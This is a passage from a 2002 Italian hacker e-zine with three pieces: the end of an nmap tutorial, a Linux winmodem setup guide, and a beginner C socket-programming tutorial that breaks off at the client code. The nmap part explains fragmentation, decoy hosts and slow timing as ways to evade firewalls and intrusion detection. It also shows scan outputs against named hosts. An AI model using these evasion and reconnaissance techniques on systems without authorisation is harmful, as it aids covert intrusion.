| essere frammentato in pacchetti piu` piccoli, che sono riassemblati |
| poi nell'host. Molti filtri di pacchetti e molti firewall non |
| riassemblano i pacchetti, e quindi, potranno consentire il passaggio |
| dei pacchetti verso destinazioni non consentite, dove non dovrebbero |
| arrivare; la scansione potrebbe quindi non essere rilevata dal sowtare |
| di individuazione di intrusioni :))) |
| |
| |
| |
| °°°°°°°°°°Modalita` dettagliata°°°°°°°°°°°° |
| |
| -Usage: nmap -v host |
| |
| -Info: Con questa opzione si utilizzera` una modalità di scansione |
| dettagliata, ovvero " verbose" |
| |
| |
| °°°°°°°Modalita` molto dettagliata°°°°°°°°° |
| |
| -Usage: nmap -vv host |
| |
| -Info: Con questa opzione si utilizzera` una modalità di scansione |
| molto dettagliata che permettera` di analizzare addirittura tutte le |
| informazioni interne dei pacchetti di nmap. |
| |
| |
| °°°°°°°°°°°°°°Hosts Fittizi°°°°°°°°°°°°°°° |
| |
| -Usage: nmap -D host |
| |
| -Info: Consente di trarre in inganno gli Hosts.Invia pacchetti come |
| se provenissero dagli hostname elencati.Poiche` l'host appartiene a un |
| elenco di host fittizi, potrebbe essere possibile nascondere il |
| sistema con un rumore di fondo. Se i pacchetti IP di disturbo soino |
| bloccati tra l'host di scansione di Nmap e l'host target, questi |
| pacchetti di rischiamo non riusciranno mai a raggiungere il target. |
| |
| |
| °°°°°°°°°°°°°°°°°Timing°°°°°°°°°°°°°°°°°° |
| |
| -Usage: nmap -T host |
| |
| -Info: Criteri di Timing. Poiche` alcuni rivelatori di scansione |
| danno attenzione al numero di pacchetti non appropriato in un |
| determinato intervallo di tempo, l'uso di velocita` piu` lente di |
| scansione puo` rendere inutile la funzione dei rivelatori. Le opzioni |
| variano da Paranoid che invia un pacchetto ogni 5 minuti (...), a |
| Insane che rimane in attesa solo 0.3 secondi per il TimeOut di |
| scansione e puo` perdere molte informazioni a causa della elevata |
| velocita`. |
| |
| ----------------------------------------- |
| |
| Ovviamente qui sopra ho elencato soltanto le opzioni piu` comuni, |
| utili e utilizzate di nmap, non negando che effettivamente ne esistono |
| svariate. Per esempio con l'opzione " -O? ", nmap puo` produrre |
| l'output in diversi formati, compreso XML, solo testo esaminabile col |
| grep.Oppure con l'opzione " -oS " , di solito riservata agli script |
| kiddies, che produce un output non documentato. Io consiglio |
| personalmente a voi di usare Nmap, non solo per scannare sistemi |
| target a casaccio, ma anche per conoscere a fondo il funzionamento del |
| NetWorking, smanettando con le numerose opzioni messe a disposizione. |
| |
| Inoltre, per chi ama la parte grafica dei sowtare, nmap mette a |
| disposizione Nmapfe ( nmap front end), che essenzialmente non e` altro |
| che una GUI che offre un metodo interattivo per predisporre le opzioni |
| della riga di comando di Nmap.Questa interfaccia non effettua nessuna |
| attivita` che non sia disponibile anche dalla riga di comando. |
| |
| |
| |
| |
| [4.4] *Altri usi di Nmap* |
| |
| Come gia` ho ricordato prima, nmap non e` o0lamente un semplice |
| scanner di porte, ma anche un potente strumento di analizzatore di |
| rete... ma non solo.. Ora vediamo un po` di teknike di cui possiamo |
| disporre.... :) |
| |
| |
| |
| [4.4.1] *Ping sweep* |
| |
| |
| Nmap, dispone di una funzionalità integrativa di ping sweep.E` |
| sufficente fornire un elenco di indirizzi o di rete e usare l'opzione |
| -sP: |
| |
| --------------------------------------------------------------------- |
| advancedbox$ Nmap -sP 192.168.10.0/24 |
| Starting Nmap V. 2.54BETA7 (www.insecure.org/nmap) |
| Host ( 92.168.10.0 ) seems to be a subnet bradcast address ( returned |
| 3 extra plug ) |
| Host kristen (92.168.10.6) appears to be up |
| Host richard (92.168.10.10) appears to be up |
| Host brady (92.168.10.15) appears to be up |
| Host Advanced (92.168.10.18) appears to be up |
| Nmap run completed -- 256 ip address (4 host up) scanned in 154 |
| seconds |
| --------------------------------------------------------------------- |
| |
| La definizione di ping di Nmap,quando si usa l'opzione -sP è,in |
| effetti,un po' più ampia rispetto al comando icmp.Invierà sia un |
| normale pakketto di echo icmp sia un pakketto tcp ACK alla porta |
| 80(http) del sistema.Anke se ICMP è blokkato, il protocollo TCP |
| generalmente potrà passare. Se Nmap riceve un pakketto RST (reset) |
| dall host in risposta al comando ACK, si potrà così determinare ke il |
| sistema è in funzione. Nell esempio precedente abbiamo usato la |
| notazione 92.168.10.0/24 per definire gli host di cui effettuare la |
| scansione.Questo signifika scansionare tutti i sistemi della rete con |
| una subnet mask a 24 bit( ovvero la rete di classe c).Nmap può |
| supportare diversi metodi per la definizione degli host |
| |
| |------------------------------------------------------------| |
| |Tipo | Esempio | |
| |------------------------------------------------------------| |
| |Wildcards | 192.168.10.* 10.10.*.* | |
| |Rangers | 192.168.10.0-255 10.10.0-255.0-255 | |
| |CIDR notattion| 192.168.10.0/24 | |
| |------------------------------------------------------------| |
| |
| |
| |
| |
| |
| [4.4.2] *Os detecting* |
| |
| Nmap, che e` stato descritto estesamente dispone di funzioni integrate |
| per la determinazione del sistema operativo. QUeste funzioni di Nmap |
| sono le migliori oggi disponibili. Il programma e` aggiornato |
| regolarmente con nuove signature. Quando infatti non trova un |
| abbinamento, fornisce le istruzioni su come inviare il fingerprint e |
| il sistema operavio del database, affinkè queste informazioni possano |
| essere rese disponibili a tutti nelle release future. Il database |
| contiene attualmente ( 23/03/2002 ) oltre 500 fingerprint e include |
| molte attrezzature di rete e stampanti; consente l`esecuzione di |
| numerosi test: |
| |
| -- Test della gestione delle sequenze TCP |
| |
| -- Pakketto SYN con numerose opzioni TCP per l`apertura di una porta |
| |
| -- Pakketto null con opzioni per l'apertura di una porta |
| |
| -- Pakketto SYN/FIN/URG/PSH con opzioni per l'apertura di una porta |
| |
| -- ACK per l'apertura di una porta con opzioni |
| |
| -- SYN per una porta kiusa con opzioni |
| |
| -- ACK per una porta kiusa con opzioni |
| |
| -- FIN/PSH/URG per una porta kiusa con opzioni |
| |
| -- Pacchetto UDP per una porta kiusa |
| |
| |
| Per rikiedere la determinazione del sistema operativo, si deve fornire |
| a Nmap l'opzione -O : |
| |
| advanced@mojodo.it# Nmap -vv -sS -O www.mojodo.it |
| |
| Starting Nmap v.2.54 by Fydore@insecure.org www.insecure.org/nmap |
| Host www.mojodo.it(15.45.54.12) appears to be up... g00d |
| Initiating SYN half-open stealth scan against www.mojodo.it (15.45.54.12 |
| The SYN scan took 1 second to scan 1525 ports. |
| For OSscan assuming that port 22 is open and the port 1 is closed and |
| neither are firewalled. |
| Interestring ports on www.mojodo.it(15.45.54.12) |
| The 1518 ports scanned but not show belowe are in state: closed |
| |
| Port State Service |
| 22/TCP Open Ssh |
| 25/TCP Open SNMPT |
| 515/TCP Open priner |
| 6000/TCP Open X11 |
| tcp sequence prediction:class=random positive increments |
| Difficulty=3728145 |
| Good luck |
| |
| Sequence Members: FA401E9 FA401E9 F720DEB F720DEB 1004486A 1004486A |
| Remote operating system guess: Linux 2.2.122-2.2.16 |
| Os fingerprint: |
| Tseq(class=RI%gcd=1%SI=38E11) |
| T1(rESP=Y%DF=Y%W=7F53%ACK=S++%Flags=AS%Ops=MANNTNW) |
| T2(RESP=N) |
| T3(RESP=Y%DF=Y%W=7F53%ACK=S++%Flags=AS%Ops=MANNTNW) |
| T4(RESP=Y%DF=N%W=0%ACK=0%Flags=R%Ops=) |
| T5(RESP=Y%DF=N%W=0%ACK=SP+%Flags=AR%Ops=) |
| T6(RESP=Y%DF=N%W=0%ACK=0%Flags=R%Ops=) |
| T7(RESP=Y%DF=N%W=0%ACK=S%Flags=AR%Ops=) |
| PU(RESP=Y%DF=N%TOS=C0%IPLEN=164%RIPTL=148%RID=E%RIPK=E%UCK=E%ULEN=134% |
| DAT=) |
| |
| Nmap run completed .. 1 ip addres ( 1 host UP ) Scanned in 0 seconds |
| |
| |
| |
| [4.4.3] *Individuazione servizi RPC* |
| |
| Nmap puo` anche essere utilzzato per elencare i servizi RPC |
| disponibili. Le normali scansioni delle porte, determinano quali sono |
| aperte. Nmap invia quindi un numero massiccio di pacchetti a ciascuna |
| porta con conamandi RPC NULL per determinare se si tratta di un |
| servizio RPC, e in questo caso, i protocolli e le versioni in |
| esecuzione.I risultati delle scansioni RPC saranno elencati fra |
| parentesi dopo la porta elencata. Di seguito vi porto un esempio di |
| una scansione Nmap effettuare a un host su cui girano diversi servizi |
| RPC. |
| |
| advanced@mojodo.it# rpcinfo -p mojodo.it |
| rpcinfo: can't contact portmapper: RPC: Remote System Error |
| - Connection refused |
| |
| advanced@mojodo.it# nmap -sS -sR mojodo.it |
| |
| Starting Nmap v.2.54 by Fydore@insecure.org www.insecure.org/nmap |
| Interesting ports on mojodo.it (124.12.8.16) |
| |
| Port State Services (RPC) |
| 21 Open Ftp |
| 22 Open Ssh |
| 80 Open http |
| 111 Filtered sunrpc |
| 139 Open netbios-ssn |
| 1521 Open ncube-lm |
| 2049 Open lockd (nlockmgr V4-1) |
| 32771 Open sometimes-rpc5 (status V1) |
| |
| Notate che, in questo sistema, e` stata filtrata la porta 111 e che |
| rpcinfo non ha potuto connettersi a portmapper.Nmap e` stato comunque |
| in grado di identificare servizi RPC contattando direttamente ciascun |
| servizio e richiedendo l'identificazione ai servizi. |
| |
| |
| |
| |
| [5] * 3nD * |
| |
| Uff non ce la facevo più :) finalmente ho finito l'articolo... chiedo |
| scusa se sono stato troppo sintetico nell'ultima parte... se volete |
| chiarimenti fatemelo sapere. Ringrazio ancora valk e tutti quelli ke |
| credono in mojodo,e il s0ftpj. |
| Per commenti, complimenti,bestemmie,offese,parolaccie scrivetemi!!!! |
| Un grosso saluto a tutti! |
| |
| |
| Ade :*** |
| |
| http://www.zone-h.org |
| http://www.mojodo.it |
| http://advanced.too.it |
| |
| */*/ ADvAnCeD` */*/ |
| |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [LiNUX] #06 - 25/04/2002 |
| iN SHELL WE TRUST - PARTE 2 [lesion] 0x09/0x1D |
+--------------------------------------------------------------------------+
| |
| allora allora vediamo un po'... |
| avete il vostro bellissimo winmodem e nn riuscite a connettervi con il |
| vostro amato SO? |
| mmmmm male male. |
| postulato 1: i winmodem sono il male; |
| postulato 2: noi sconfiggeremo il male; |
| postulato 3: ma prima dobbiamo imparare a conviverci finke' ce ne |
| saranno ankora in giro. |
| |
| personalmente ho provato con un : |
| |
| [16:20:03]~/# lspci |
| ..snip.. |
| 00:0d.0 Communication controller: Lucent Microelectronics F-1156IV |
| WinModem |
| (V90, 56KFlex) (rev 01) |
| ..snip.. |
| [16:20:24]~/# |
| |
| e ora quindi vi esporro' come ho fatto a far funzionare questo modem. |
| in qualsiasi caso cmq, le operazioni nn dovrebbero essere molto |
| differenti. cmq prima di tutto, andate su www.linmodems.org e sul sito |
| della casa costruttrice del modem, ke magari, pregando in cinese davanti |
| alla statuina di sant'antonio incoronato a pasqua, inginokkiati sui ceci |
| cosparsi di sale a 80gradi, forse forse,ha rilasciato i sorgenti dei |
| driver o i binari per il nostro caro amato sistema operativo linuxoide. |
| quindi, una volta trovati sti moduli (i cazzo di .o in sostanza, o i |
| sorgenti se nn trovate i binari..anzi al contrario, i sorci son sempre |
| mejo) impakkettati in tar.gz, li si scompatta : |
| |
| tar xvzf ltmodem-6.00c2.tar.gz |
| |
| (il nome nn deve essere quello, e' cosi' nel mio caso...) |
| si joina nella directory appena creata e si procede con un |
| |
| ./configure && make && make install |
| |
| tutto questo ovviamente nel caso aveste i sorgenti, altrimenti ci |
| dovrebbe essere qlcsa tipo ./install.sh o ./autoinstall vedete voi, e |
| ricordate ke probabilmente c'e' un file kiamato README, tradotto anke |
| leggimi, ke vuol proprio dire ke dovete leggerlo.... |
| se nn c'e' niente di tutto cio', andate di modprobe modulo.o e nel caso |
| funzioni provvedete a fare in modo ke lo cariki all'avvio. |
| ok qui da me, dopo una serie illimitata di cose da leggere, mentre tenta |
| di compilare i moduli mi dice ke il kernel ke sta girando ha il supporto |
| SMP (simmetric multi processing?) e ke nn e' bene usare i moduli con |
| questa cosa attivata e quindi si riufiuta di compilarmeli. |
| dopo circa 3mila bestemmie mi metto contro voglia a ricompilare il |
| kernel, ma si' dai, passiamo al 2.4 ... addio caro amato 2.2.19 sniff... |
| :( metto il cd della slak, installpkg /cdrom/slakware/k1/lnx245.tgz per |
| installare i sorgenti del kernel ke ci si sta' apprestando a |
| ricompilare, poi un "cd /usr/src/", ke e' la dir dove ha copiato i |
| sorci, un "rm linux" |
| seguito da un "ln -s linux-2.4.5 linux" per cambiare il link e spostarlo |
| sui nuovi sorci del kernel, un "cd linux" ed un "make menuconfig" per |
| fare tutti i settaggi ke + ci aggradano, ricordandoci di levare il |
| supporto SMP. |
| appena avete finito di fare i vostri cazzeggi col kernel (nn e' questa |
| la sede x spiegare questi virtuosismi tecnici :)) ) potrete riprendere |
| alla compilazione dei moduli. |
| ok funziona, ora faccio ./ltinst2 come suggeritomi e ./autoinstall e vai |
| di reboot. |
| ora via di minicom per provare se lo vede, e quindi minicom -s da root. |
| un veloce cambiamento alla configurazione (serial port setup) per |
| cambiare il serial device, ke gli script di installazione dei moduli |
| hanno gia' |
| provveduto a linkare a /dev/modem. poi salviamo la configurazione (save |
| as dfl) e poi usciamo (exit from minicom). riapriamo minicom (sempre con |
| l'opzione -s), premiamo su exit e vediamo ke tenta di inizializzare il |
| modem. se vediamo qlcsa tipo: |
| AT S7=45 S0=0 L1 V1 X4 &c1 E1 Q0 |
| OK |
| siamo a cavallo, altrimenti nn proprio. |
| ricontrollate la configurazione della porta seriale nell opzioni di |
| minicom, altrimenti controllate se il device /dev/modem e' linkato al |
| device effettivo del modem (nel mio caso e' /dev/ttyLT0) e provate a |
| mettere quest'ultimo nelle opzioni di configurazione.. |
| dopo cio', andate pesantemente di pppsetup (solo gli slakwaristi |
| ovviamente, per gli altri, solo calci in faccia hihhii) e provate un |
| ppp-go. per vedere se effettivamente il modem ci sta dentro, consiglio |
| un tail -f /var/log/messages (ovviamente dovete avere syslogd avviato |
| altrimenti nada, ed essere root) ke vi mostra quel ke fa' pppd e se vede |
| il modem. |
| se vi trovate di fronte a problemi quali "NO DIALTONE" o altri, provate |
| a leggere la documentazione sicuramente inclusa dentro al pakketto dove |
| avete preso i moduli, altrimenti cercate in rete..c'e' parekkia roba. |
| ah ultima cosa, ecco i modem supportati coi rispettivi links dove |
| guardare dopo aver guardato su www.linuxmodems.org ovviamente |
| (ovviamente nn saranno tutti, ma un aiutino nn guasta mai): |
| |
| -IBM Mwave (Thinkpad 600E) |
| http://oss.software.ibm.com/developer/opensource/linux/projects/mwave/ |
| |
| -Lucent LT |
| http://www.close.u-net.com/ltmodem.html |
| |
| -ESS |
| http://walbran.org/sean/linux/stodolsk/) |
| x ISA: http://linmodems.technion.ac.il/packages/essisa111.zip |
| x PCI: http://linmodems.technion.ac.il/packages/esspci111.zip |
| |
| -PCTel |
| http://www.idir.net/~gromitkc/winmodem.html#drivers |
| x kernel 2.4 http://walbran.org/sean/linux/stodolsk/ |
| |
| -Conexant/Rockwell HSF |
| http://www.olitec.com/pci56kv2.html |
| http://redrival.com/btifaq/hsflinux.htm (piccola guida) |
| |
| -Intel HaM |
| http://developer.intel.com/design/modems/support/license/r-333-5.htm |
| |
| -Intel L-MD5620DT |
| http://linmodems.org/CLModem-0.3.0.tar.gz |
| http://www.idir.net/~gromitkc/clm/CLModem-0.3.0+gg.tar.gz |
| (vedi pure qusto) |
| |
| -3Com Mini-PCI |
| http://mobilix.org/minipci_linux.html (prova qui....) |
| |
| -AMR |
| http://linmodems.org/cgi-bin/ezmlm-cgi?1:mss:2768:200102:edbonibpdjfpn |
| fhbmhel |
| |
| ecco tutto, o anke no. |
| lesion@autistici.org |
| bacetti liberi |
| |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [LiNUX] #06 - 25/04/2002 |
| TCP/iP & SOCKET iN LiNUX [SNHYPER] 0x0A/0x1D |
+--------------------------------------------------------------------------+
| |
| ########################## |
| ## TCP/IP & SOCKET IN LINUX ## |
| ########################## |
| |
| [[ Tutorial under GNU General Public License ]] |
| |
| |
| In questo tute parleremo, come si vede dal titolo..., della |
| programmazione socket in Linux. Quindi come creare applicazioni |
| client/server che utilizzano i socket. Il tute e' volutamente diretto ai |
| newbie che non conoscono la programmazione dei socket, ma che abbiano |
| come prerequisito almeno la conoscenza del mitico linguaggio C e la |
| conoscenza dei protocolli di comunicazione. |
| Se non possedete questi prerequisiti...vi consiglio: |
| |
| @Linguaggio C: |
| - "Guida completa al C" - Apogeo |
| - il mitico "K&R" - Kernigham e Ritchie |
| @Protocolli di rete: |
| - "Guida completa al Tcp/Ip" - Apogeo |
| - altro mitico "Tcp/Ip illustrated" - R. Stevens (volume 1 per iniziare |
| @Approfondimento e studio programmazione socket: |
| - mitico "Unix network programming" - R. Stevens (edizione 2 volume 1 |
| per iniziare) |
| |
| Come dovreste sapere Tcp e Udp sono protocolli di trasmissione. Tcp e' |
| un protocollo orientato alla connessione e con garanzia di consegna. Udp |
| il contrario. La programmazione socket utilizza sia Tcp che Udp. Tcp e |
| la programmaizone socket sono stati utilizzati sui primi sistemi Unix. |
| I socket del dominio Unix erano stati sviluppati per consentire la |
| comunicazione tra programmi Unix, mentre i piu' recenti socket hanno |
| fornito le basi di sviluppo di socket nei sistemi Unix recenti, Windoze, |
| OS/2, Mac. |
| |
| In questo tute esamineremo le principali system call per la |
| realizzazione di diversi programmi d'esempio: |
| |
| - socket() |
| - bind() |
| - listen() |
| - connect() |
| - accept() |
| - recv() |
| - send() |
| |
| /-----------------\ |
| | 1) Socket() | |
| | - man socket | |
| \-----------------/ |
| |
| Un socket e' praticamente un tunnel di comunicazione dati. Nel momento |
| in cui due processi sono connessi attraverso un socket, useranno un |
| descrittore di socket per le operazioni di lettura/scrittura dal socket. |
| La socket() ha i seguenti argomenti: |
| |
| - int domain |
| - int type |
| - int protocol |
| |
| Esistono diversi tipi di domini socket,definiti in |
| /usr/include/sys/socket.h oppure in /usr/include/bits/socket.h. |
| Questi sono: |
| |
| - AF_UNIX /* protocolli interni di unix */ |
| - AF_INET /* protocolli Arpa di internet, ovvero i piu' usati */ |
| - AF_ISO /* protocolli della International Standard Organization */ |
| - AF_NS /* protocolli di xerox network system |
| |
| Per quanto riguarda la tipologia di socket troviamo: |
| |
| - SOCK_STREAM /* connessione full-duplex, sequenziata, |
| a flusso continuo dati */
|
| - SOCK_DGRAM /* tipo connectionless e non affidabile (udp) */ |
| - SOCK_RAW /* Usato per i protocolli di rete interni */ |
| - SOCK_SEQPACKET /* usato solo con dominio AF_NS */ |
| - SOCK_RDM /* non ancora implementato */ |
| |
| Il maggiormente usato è SOCK_STREAM. |
| Per quanto rguarda il terzo argomento della socket() , ovvero "int |
| protocol"
, si utilizza il numero di protocollo. Il valore zero sara' |
| quello usato negli esempi ed in molti programmi. |
| |
| /-----------------\ |
| | 2) Bind() | |
| | - man bind | |
| \-----------------/ |
| |
| La bind() ha la funzione di associare un processo ad un socket ed e' |
| solitamente utilizzata per inizializzare un socket in processi server, |
| per connessioni di client in entrata. I suoi argomenti sono: |
| |
| - int socket |
| - struct sockaddr *my_addr |
| - int my_addr_lenght |
| |
| Esaminiamoli nel dettaglio: |
| |
| "int socket" e' il valore di socket restutuito da una precedente |
| chiamata alla socket(). |
| |
| "struct sockaddr *my_addr" e' l'indirizzo di una struttura di tipo |
| "sockaddr" definita nel file di include /usr/include/linux/socket.h nel |
| seguente modo: |
| |
| struct sockaddr |
| { |
| unsigned short sa_family; /* address family, AF_XXX */ |
| char sa_data[14]; /* 14 bytes di protocol address */ |
| };

  
|
| |
| Questo tipo di struttura deve essere allocata e passata come secondo |
| argomento della bind(). Per esempio nel programma che vedremo dopo, la |
| sockaddr e' inizializzata come: |
| |
| struct sockaddr_in sin; |
| bzero(&sin, sizeof(sin)); |
| sin.sin_family = AF_INET; |
| sin.sin_addr.s_addr = INADDR_ANY; |
| sin.sin_port = htons(port); |
| bind(sock_descriptor, (struct sockaddr *)&sin, sizeof(sin); |
| |
| La sockaddr_in e' uguale alla sockaddr tranne che per la singola |
| nominazione dei sotto-elementi per l'impostazione dell'indirizzo di |
| protocollo. |
| |
| /-----------------\ |
| | 3) Listen() | |
| | - man listen | |
| \-----------------/ |
| |
| Terminata la creazione del socket con la socket() e la sua associazione |
| ad un processo con la bind(), un processo puo' chiamare la listen() |
| intendendo la disponibilita' alla ricezione di connessioni entranti. |
| I suoi argomenti sono: |
| |
| - int socket |
| - int input_queue_size |
| |
| Il primo argomento e' il valore restituito da una precedente chiamata |
| alla socket() (dopo che e' stata chiamata a sua volta dalla bind); |
| mentre il secondo, importante, assegna la dimensione della coda di |
| connessioni entrante. La maggior parte delle volte si usa la funzione |
| fork() per generare un processo figlio che gestisce in "parallelo" le |
| connessioni entranti. La fork viene usata quando si necessita di |
| affrontare molte connessioni entranti. Per la maggior parte di semplici |
| programmi e' comunque solitamente adeguato e piu' semplice processare le |
| funzioni connessioni entranti una alla volta e assegnare alle dimensioni |
| della coda entrante una dimensione abbastanza grande. |
| |
| /-----------------\ |
| | 4) Accept() | |
| | - man accept | |
| \-----------------/ |
| |
| Questa funzione definisce lindirizzo remoto ed il processo remoto(dal |
| lato server). Viene eseguita dal server prima dopo la listen e pone il |
| processo in attesa di una connessione da parte di un client. La accept, |
| prende una connessione che è in testa alla coda specificata dalla listen |
| e crea un altro socket (canale privato) con le stesse caratteristiche |
| del socket precedente. Se non ci sono richieste in sospeso nella coda, |
| la accept blocca il processo chiamante in attesa di una connessione. |
| I parametri pasati sono: |
| |
| - sock_descriptor |
| - struct client_addr |
| - longaddr Contiene la lunghezza della struttura dell'indirizzo del |
| processo connesso (client). |
| |
| Il primo argomento è il solito descrittore di socket. Secondo la |
| struttura ove verrà inserito l'indirizzo del client Il longaddr contiene |
| la lunghezza della struttura dell'indirizzo del processo connesso |
| (client). Viene prima posto uguale alla dimensione della struttura e |
| successivamente prende il valore della dimensione della struttura |
| effettivamente occupata dal client connesso. |
| Questa funzione restituisce tre valori: |
| |
| - un intero positivo che indica il nuovo socket creato |
| - un intero negativo che indica che la funzione non è andata a buon fine |
| - scrive in client_indir lindirizzo del client appena connesso. |
| |
| /-----------------\ |
| | 5) Connect() | |
| | - man connect | |
| \-----------------/ |
| |
| La connect() ci serve per connettere un socket locale ad un servizio |
| remoto. Tipico uso e' quello di specificare le informazioni del pc host |
| per un processo server in esecuzione su un pc remoto. |
| I suoi argomenti sono: |
| |
| - int socket |
| - struct sockaddr *server_address |
| - int server_address_lenght |
| |
| Il primo e' il solito valore di ritorno di una chiamata alla socket(). |
| Per la struttura sockaddr, il primo campo dati permette di specificare |
| la family (tipo di connessione) prima di chiamare la connect() : |
| |
| - AF_UNIX /* socket del dominio unix ( per alte prestazioni) */ |
| - AF_INET /* protocolli IP di internet (la + usata) */ |
| - AF_IPX /* novell ipx (usato spesso in reti windoze) */ |
| - AF_APPLETALK /* protocollo appletalk */ |
| |
| Per altri tipi meno usati, vedete la man della funzione ( man connect). |
| Il secondo elemento della sockaddr e' un blocco di dati di 14 bytes per |
| specificare l'indirizzo di protocollo. |
| |
| /-----------------\ |
| | 6) Recv() | |
| | - man recv | |
| \-----------------/ |
| |
| La recv() e' usata per ricevere messaggi da un socket connesso ad un |
| altro mediante una connect(). Due altri chiamate di cui parleremo piu' |
| avanti sono recvfrom() e recvmsg() che servono per ricevere messaggi dal |
| socket con protocolli non orientati alla connessione ( UDP). |
| I suoi argomenti sono: |
| |
| - int socket |
| - void *buf |
| - int buf_len |
| - unsigned int flags |
| |
| Il socket definito nel primo argomento deve essere gia connesso ad una |
| porta con la connect(). Il secondo argomento e' un puntatore all'area di |
| memoria nella quale verra' memorizzato il messaggio ricevuto. Il terzo |
| argomento da le dimensioni del blocco di memoria ( in byte di 8 bit) |
| Il quarto descrive le flag di funzionamento: |
| |
| - MSG_OOB /* dati di processo fuori banda (per msg di controllo ad |
| elevata priorita').Solitamente si usa lo zero per msg normali */ |
| - MSG_PEEK /* Peek-ka il msg entrante senza leggerlo veramente */ |
| - MSG_WAITALL /* aspetta che il buffer di ricezione sia completo */ |
| |
| /-----------------\ |
| | 6) Send() | |
| | - man send | |
| \-----------------/ |
| |
| La send() e' usata per inviare dati ad un altro programma utilizzando un |
| socket. Sia le applicazioni client che quelle server utilizzano questa |
| funzione. Le client si servono di send() per inviare richieste di |
| servizi alle applicazioni remote e le server per inviare |
| i dati richiesti. |
| I suoi argomenti sono: |
| |
| - int socket |
| - const void *message_data |
| - int message_data_lenght |
| - unsigned int flags |
| |
| Il primo argomento, come al solito, e' il valore di socket restituito da |
| una sua chiamata. Il secondo argomento contiene i dati che devono essere |
| inviati. Il terzo argomento specifica le dimensioni, in byte di 8 bit, |
| dei dati del messaggio. Il quarto e' quasi sempre zero anche se possono |
| essere utilizzati anche i seguenti valori: |
| |
| - MSG_OOB /* per i dati fuori banda (Out Of Band) */ |
| - MSG_DONTROUTE /* non utilizza l'instradamento */ |
| |
| /-------------------------------------------------------------------\ |
| | Semplice raffigurazione esemplificativa di gestione delle funzioni| |
| \-------------------------------------------------------------------/ |
| ____________ |
| | SOCKET() | |
| |__________| |
| | |
| \|/ |
| ____________ |
| Porte ben conosciute | BIND() | |
| [ Well-Known port ] |__________| |
| | |
| \|/ |
| ____________ |
| | LISTEN() | |
| |__________| |
| | |
| ___________ \|/ |
| | SOCKET() | ____________ |
| |__________| | ACCEPT() | |
| \|/ |__________| |
| ____________ | |
| | CONNECT()| /____ \|/ |
| |__________| \ \ Stoppa finche' non riceve |
| | \ una connessione dal client |
| | \ | |
| \|/ \_____3 way handshake___________\ \|/ |
| ____________ Instaurazione della conn. __/_________ |
| _\ | WRITE() | | READ() | |
| | / |__________| ______Data Request _________________\ |__________| /_ |
| | / | \ | |
| | \|/ | |
| | Richiesta processo | |
| | | | |
| | \|/ | |
| | ___________ ____________ | |
| |__ | READ() | /_______Data reply____________________ | WRITE() |___| |
| |_________| \ |__________| |
| | | |
| \|/ \|/ |
| ____________ ____________ |
| | CLOSE() |_______Notifica di EoF_______________\ | READ() | |
| |__________| (EoF=End of File) / |__________| |
| | |
| \|/ |
| ____________ |
| | CLOSE() | |
| |__________| |
| |
| p.s. sbattimento sto ascii... |
| |
| /------------------------------------------------------------------\ |
| | Realizziamo la nostra prima applicazione client/server d'esempio | |
| \------------------------------------------------------------------/ |
| |
| Creeremo un server (AppServer.c) in ascolto per ricevere richieste da un |
| socket (porta 8000). Qualunque programma, come il client che creeremo |
| (AppClient.c), puo' connetersi al nostro server ed inviare fino a 16.384 |
| byte di dati al server stesso. Il server trattera' i dati in arrivo come |
| caratteri ASCII e li converterà in maiuscolo prima di restituirli al |
| client. Per il server non utilizzeremo la fork(), bensi' la tipologia a |
| coda d'ingresso detta prima, capace di un backlog di 20 richieste di |
| servizio. Se notate bene le 2 applicazioni non sono complete, sono il |
| cuore ed oltre del programma, ma mancano i file ddi include e la |
| dichiarazione di alcune variabili, che si presuppone sappiate fare... |
| Comunque allegati troverete altri 2 sorgenti completi di tipi di |
| applicazioni client/server. I nomi di alcune variabili e di alcune |
| istanze delle strutture (per velocita' e facilita' di esecuzione), ma i |
| procedimenti adottati sono gli stessi. |
| ________________________________________________________________________ |
| |
| <-*-><-*-><-*-><-*-><-*-><-*-> |
| <-*-> AppServer.c <-*-> |
| <-*-><-*-><-*-><-*-><-*-><-*-> |
| |
| /* Creeremo un socket permanente per la ricezione di richieste di |
| servizi; quando un nuovo client si connette al server un nuovo socket |
| temporaneo viene aperto tre client e server. Le strutture dati che |
| andremo ad usare supportano sia socket permanenti che socket temporanei. |
| */ |
| |
| struct sockaddr_in sin ; |
| struct sockaddr_in pin ; |
| int sock_descriptor ; |
| int temp_sock_descriptor ; |
| int address_size ; |
| |
| /* Ora andiamo a definire il descrittore del socket */ |
| |
| sock_descriptor = socket(AF_INET, SOCK_STREAM, 0) ; |
| |
| /* Ora farciremo la struttura sockaddr_in sin */ |
| |
| bzero(&sin, sizeof(sin)); |
| sin.sin_family = AF_INET ; |
| sin.sin_addr.s_addr = INADDR_ANY ; |
| sin.sin_port = htons(8000); /* decidiamo per la porta 8000 */ |
| |
| /* a questo punto bindiamo la il nuovo socket sulla 8000 */ |
| |
| bind(sock_descriptor, (struct sockaddr *)&sin, sizeof(sin)); |
| |
| /* ora e' necessario invocare la funzione listen() del nuovo socket |
| sulla 8000 */ |
| |
| listen(sock_descriptor, 20); /* backlog di 20 connessioni */ |
| |
| /* a questo punto faremo entrare il prog in un loop infinito in attesa |
| di connessioni */ |
| |
| while(1) |
| { |
| |
| /* prendo un socket temporaneo per gestire le richieste del client */ |
| |
| temp_sock_descriptor = accept(sock_descriptor, (struct sockaddr |
| *)&pin, &address_size); |
| |
| /* ricevo i dati dal client */ |
| |
| recv(temp_sock_descriptor, buf, 16384, 0); |
| |
| /* ........ */ |
| /* ...qui protremmo processare le richieste del client... */ |
| /* ........ */ |
| |
| /* ora ritorniamo i dati al client */ |
| |
| send(temp_sock_descriptor, buf, len, 0); |
| |
| /* adesso chiudiamo il socket temporaneo, dato che abbiamo finito */ |
| |
| close(temp_sock_descriptor); |
| |
| } |
| ________________________________________________________________________ |
| |
| Nel nostro programma il server rimane in attesa di connessioni di socket |
| client entranti per un tempo indefinito. Se il programma viene |
| eliminato, il socket permanente viene chiuso automaticamente dal sistema |
| operativo. Sotto il nostro caro Linux la chiusura del socket avviene |
| istantaneamente, mentre con l'altrettanto caro Windoze (caro nel senso |
| di costoso ;) la ciusura avviene tra i 5 e i dieci secondi. |
| |
| ________________________________________________________________________ |
| |
| <-*-><-*-><-*-><-*-><-*-><-*-> |
| <-*-> AppClient.c <-*-> |
| <-*-><-*-><-*-><-*-><-*-><-*-> |
| |
